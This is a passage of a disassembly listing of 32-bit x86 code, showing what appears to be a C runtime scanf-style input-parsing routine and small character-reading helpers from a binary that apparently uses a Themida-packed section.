XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj ; DATA XREF: Themida_:0054D01Eo mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc 